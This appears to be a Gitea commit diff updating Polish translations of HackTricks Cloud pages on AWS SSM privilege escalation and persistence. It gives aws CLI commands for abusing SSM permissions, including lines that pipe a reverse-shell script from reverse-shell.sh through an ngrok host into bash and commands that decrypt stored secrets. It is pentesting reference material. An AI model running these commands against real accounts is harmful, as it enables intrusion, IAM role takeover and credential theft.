gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-04-21 08:25:12 +00:00
parent c2b314ea89
commit 668126e7f5
2 changed files with 126 additions and 27 deletions
Download Patch File Download Diff File Expand all files Collapse all files

58
src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
View File

@@ -4,15 +4,15 @@
## SSM
Aby uzyskać więcej informacji, zobacz:
Więcej informacji sprawdź:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Użycie ssm:CreateAssociation for persistence
### Using ssm:CreateAssociation for persistence
Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te associations można skonfigurować tak, by uruchamiały się w stałych odstępach czasu, co czyni je odpowiednimi do backdoor-like persistence bez interaktywnych sesji.
Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te associations mogą być skonfigurowane tak, aby działały w stałym interwale, co czyni je odpowiednimi do persistence w stylu backdoor bez interaktywnych sesji.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Ta metoda utrzymywania dostępu działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, SSM agent działa, a atakujący ma uprawnienia do tworzenia associations. Nie wymaga interaktywnych sesji ani jawnych uprawnień ssm:SendCommand. **Ważne:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny odstęp AWS wynoszący 30 minut. Dla natychmiastowego lub jednorazowego wykonania pomiń całkowicie `--schedule-expression` — association wykona się raz po utworzeniu.
> Ta metoda persistence działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, agent SSM jest uruchomiony, a atakujący ma uprawnienie do tworzenia associations. Nie wymaga interaktywnych sesji ani jawnych uprawnień `ssm:SendCommand`. **Important:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. Do natychmiastowego lub jednorazowego wykonania pomiń `--schedule-expression` całkowicie — association wykona się raz po utworzeniu.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Atakujący z uprawnieniami **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** może eskalować privileges, modyfikując istniejące documents. Umożliwia to również persistence w obrębie tego document. W praktyce atakujący będzie też potrzebował **`ssm:ListDocuments`**, aby pobrać nazwy custom documents, a jeśli atakujący chce obfuskować swój payload wewnątrz istniejącego document, **`ssm:GetDocument`** będzie również konieczne.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Poniżej znajduje się przykładowy dokument, który można użyć do nadpisania istniejącego dokumentu. Będziesz chciał upewnić się, że typ dokumentu pasuje do typu docelowych dokumentów, aby uniknąć problemów z invokation. Poniższy dokument na przykład będzie **`ssm:SendCommand`** i **`ssm:CreateAssociation`** examples.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Atakujący z uprawnieniami **`ssm:RegisterTaskWithMaintenanceWindow`** oraz **`ssm:RegisterTargetWithMaintenanceWindow`** może eskalować uprawnienia, najpierw rejestrując nowy target w istniejącym maintenance window, a następnie aktualizując, rejestrując nowe zadanie. Daje to możliwość wykonania na istniejących targetach, ale może też pozwolić atakującemu skompromitować compute z różnymi rolami przez rejestrowanie nowych targetów. To umożliwia również persistence, ponieważ tasks maintenance windows są wykonywane w z góry określonym interwale podczas tworzenia window. W praktyce atakujący potrzebowałby także **`ssm:DescribeMaintenanceWindows`**, aby uzyskać ID maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

95
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
View File

@@ -4,7 +4,7 @@
## SSM
Więcej informacji o SSM:
Po więcej informacji o SSM sprawdź:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Więcej informacji o SSM:
### `ssm:SendCommand`
Atakujący posiadający uprawnienie **`ssm:SendCommand`** może **wykonać polecenia na instancjach** uruchamiających Amazon SSM Agent i **skompromitować IAM Role** działającą w nich.
Atakujący z uprawnieniem **`ssm:SendCommand`** może **wykonywać komendy na instancjach** uruchamiających Amazon SSM Agent i **skompromitować IAM Role** działającą w ich wnętrzu.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Jeśli używasz tej techniki do eskalacji uprawnień wewnątrz już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:
Jeśli używasz tej techniki do eskalacji uprawnień wewnątrz już przejętej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Potencjalny wpływ:** Bezpośrednie privesc do EC2 IAM roles przypisanych do uruchomionych instancji z działającymi SSM Agents.
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
### `ssm:StartSession`
Atakujący posiadający uprawnienie **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent i **przejąć IAM Role** działającą wewnątrz niej.
An attacker with the permission **`ssm:StartSession`** can **rozpocząć sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent i **przejąć IAM Role** działającą w ich wnętrzu.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Aby rozpocząć sesję musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> Aby rozpocząć sesję, musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potential Impact:** Direct privesc do EC2 IAM roles przypisanych do uruchomionych instancji z działającymi SSM Agents.
**Potential Impact:** Bezpośredni privesc do ról EC2 IAM podłączonych do działających instances z uruchomionymi SSM Agents.
#### Privesc to ECS
Kiedy **ECS tasks** działają z włączonym **`ExecuteCommand`**, użytkownicy z odpowiednimi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\
Zgodnie z [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to przez utworzenie bezpiecznego kanału pomiędzy urządzeniem, którego używasz do zainicjowania polecenia „_exec_”, a docelowym kontenerem za pomocą SSM Session Manager. (SSM Session Manager Plugin wymagany do działania)\
W związku z tym użytkownicy z `ssm:StartSession` będą mogli **get a shell inside ECS tasks** z tą opcją włączoną, po prostu uruchamiając:
Gdy **ECS tasks** działają z włączonym **`ExecuteCommand`**, users z wystarczającymi permissions mogą użyć `ecs execute-command`, aby **execute a command** wewnątrz kontenera.\
Zgodnie z [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to przez utworzenie secure channel między device używanym do zainicjowania polecenia “_exec_“ a docelowym kontenerem za pomocą SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
Dlatego users z `ssm:StartSession` będą mogli **get a shell inside ECS tasks** z włączoną tą opcją, po prostu uruchamiając:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Potencjalny wpływ:** Bezpośrednie privesc do `ECS`IAM roles przypisanych do działających zadań z włączonym `ExecuteCommand`.
**Potential Impact:** Bezpośredni privesc do ról `ECS`IAM dołączonych do działających zadań z włączonym `ExecuteCommand`.
### `ssm:ResumeSession`
Atakujący posiadający uprawnienie **`ssm:ResumeSession`** może ponownie **rozpocząć sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent z **rozłączonym** stanem sesji SSM i **skompromitować IAM Role** działającą w jej wnętrzu.
Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **uruchomić sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent z **odłączonym** stanem sesji SSM i **skompromitować IAM Role** działającą w jej obrębie.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,30 +72,30 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji z uruchomionymi SSM Agents i rozłączonymi sesjami.
**Potencjalny wpływ:** Bezpośrednie privesc do ról EC2 IAM dołączonych do uruchomionych instancji z działającymi SSM Agents i rozłączonymi sesjami.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Atakujący posiadający wymienione uprawnienia będzie mógł wylistować **SSM parameters** i **read them in clear-text**. W tych parametrach często można **znaleźć wrażliwe informacje**, takie jak SSH keys lub API keys.
Atakujący z wymienionymi uprawnieniami będzie w stanie wylistować **parametry SSM** i **odczytać je w clear-text**. W tych parametrach często można **znaleźć wrażliwe informacje** takie jak klucze SSH lub klucze API.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Potencjalny wpływ:** Znalezienie wrażliwych informacji w parametrach.
**Potencjalny wpływ:** Znajdź wrażliwe informacje w parametrach.
### `ssm:ListCommands`
Atakujący posiadający to uprawnienie może wyświetlić listę wszystkich wysłanych **commands** i — miejmy nadzieję — znaleźć na nich **wrażliwe informacje**.
Atakujący z tym uprawnieniem może wyświetlić wszystkie wysłane **commands** i miejmy nadzieję znaleźć w nich **wrażliwe informacje**.
```
aws ssm list-commands
```
**Potencjalny wpływ:** Odkrycie wrażliwych informacji w treści linii poleceń.
**Potencjalny wpływ:** Znajdź wrażliwe informacje w liniach poleceń.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Atakujący posiadający te uprawnienia może wylistować wszystkie wysłane **polecenia** oraz **odczytać wygenerowane wyjście**, mając nadzieję znaleźć w nim **wrażliwe informacje**.
Atakujący z tymi uprawnieniami może wylistować wszystkie wysłane **commands** i **odczytać output**, generowanym przez nie, mając nadzieję na znalezienie w nim **wrażliwych informacji**.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Potencjalny wpływ:** Możliwość znalezienia wrażliwych informacji w wyjściu poleceń.
**Potencjalny wpływ:** Znajdź wrażliwe informacje w output komend.
### Korzystanie z ssm:CreateAssociation
### Using ssm:CreateAssociation
Atakujący posiadający uprawnienie **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Takie State Manager Association można skonfigurować tak, aby były uruchamiane w stałych odstępach czasu, co czyni je odpowiednimi do backdoor-like persistence bez interaktywnych sesji.
Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać komendy na instancjach EC2 zarządzanych przez SSM. Te associations mogą być skonfigurowane do uruchamiania w stałych odstępach czasu, co czyni je odpowiednimi do persistence podobnego do backdoor bez interaktywnych sesji.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Ta metoda utrzymywania dostępu działa dopóki instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a atakujący ma uprawnienia do tworzenia associations. Nie wymaga sesji interaktywnych ani jawnych uprawnień ssm:SendCommand. **Ważne:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. Dla natychmiastowego lub jednorazowego wykonania pomiń całkowicie `--schedule-expression` — association wykona się raz po utworzeniu.
> Ta metoda persistence działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a attacker ma permission do tworzenia associations. Nie wymaga sesji interaktywnych ani jawnych uprawnień `ssm:SendCommand`. **Important:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minutes. Aby wykonać to natychmiast lub jednorazowo, całkowicie pomiń `--schedule-expression` — association wykona się raz po utworzeniu.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Attacker z permissions **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** może eskalować privileges przez modyfikowanie istniejących documents. Pozwala to także na persistence w ramach tego document. W praktyce attacker potrzebowałby również **`ssm:ListDocuments`**, aby uzyskać nazwy custom documents, a jeśli attacker chce obfuskować swój payload w istniejącym document, **`ssm:GetDocument`** będzie również konieczne.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Poniżej znajduje się przykładowy dokument, którego można użyć do nadpisania istniejącego dokumentu. Będziesz chciał upewnić się, że typ Twojego dokumentu pasuje do typu docelowych dokumentów, aby uniknąć problemów z invokation. Poniższy dokument obejmuje na przykład przykłady **`ssm:SendCommand`** i **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Atakujący z uprawnieniami **`ssm:RegisterTaskWithMaintenanceWindow`** oraz **`ssm:RegisterTargetWithMaintenanceWindow`** może eskalować uprawnienia, najpierw rejestrując nowy target z istniejącym maintenance window, a następnie aktualizując, rejestrując nowe task. Daje to execution na istniejących target, ale może pozwolić atakującemu skompromitować compute z różnymi roles przez zarejestrowanie nowych target. To także umożliwia persistence, ponieważ maintenance windows task są wykonywane w z góry zdefiniowanych odstępach czasu podczas tworzenia window. W praktyce atakujący potrzebowałby też **`ssm:DescribeMaintenanceWindows`**, aby uzyskać ID maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
Możesz też użyć SSM, aby dostać się do projektu codebuild podczas jego budowania:
Możesz także użyć SSM, aby dostać się do kodu projektu codebuild będącego w trakcie budowania:
{{#ref}}
../aws-codebuild-privesc/README.md